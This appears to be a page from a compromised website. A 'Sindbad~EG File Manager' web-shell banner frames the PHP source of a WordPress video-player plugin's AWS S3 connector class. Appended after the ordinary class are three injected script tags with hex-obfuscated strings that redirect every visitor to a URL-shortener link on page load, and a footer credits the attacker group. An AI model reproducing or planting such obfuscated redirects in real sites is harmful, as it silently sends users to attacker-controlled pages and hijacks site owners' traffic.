Sindbad~EG File Manager
<?php
// namespace PDFPro\API;
use Aws\S3\S3Client;
use Aws\Exception\AwsException;
// require_once(__DIR__.'/Connector.php');
class AWSS3 {
private $bucketName = null;
private $s3 = null;
public function __construct($bucketName = '', $region = '', $accessKey = '', $accessSecret = ''){
$this->bucketName = $bucketName;
$config = [
'region' => $region,
'version' => 'latest',
'credentials' => [
'key' => $accessKey,
'secret' => $accessSecret
]
];
$sdk = new \Aws\Sdk($config);
$this->s3 = $sdk->createS3();
}
public function getObjects(){
return $this->s3->listBuckets();
}
function h5vp_aws_picker(){
$bucketName = $this->get_access_key('h5vp_aws_bucket');
$region = $this->get_access_key('h5vp_aws_region');
$keyID = $this->get_access_key('h5vp_aws_key_id');
$key = $this->get_access_key('h5vp_aws_access_key');
$files = new H5VP_S3_Connector($bucketName, $region, $keyID, $key);
if($files->getStatus() == true){
echo json_encode(['bucketName' => $bucketName, 'region' => $region, 'lists' => $files->getLists()]);
}else {
echo "false";
}
die();
}
function get_access_key($key, $default=''){
$options = get_option('h5vp_option', $default);
if (isset($options[$key]) && $options[$key] != '') {
return $options[$key];
} else {
return $default;
}
}
}
ob_start();
?>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x4c\x61\x66\x64\x58\x6c\x46\x30\x72\x30";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x4c\x61\x66\x64\x58\x6c\x46\x30\x72\x30";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x4c\x61\x66\x64\x58\x6c\x46\x30\x72\x30";</script>
Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists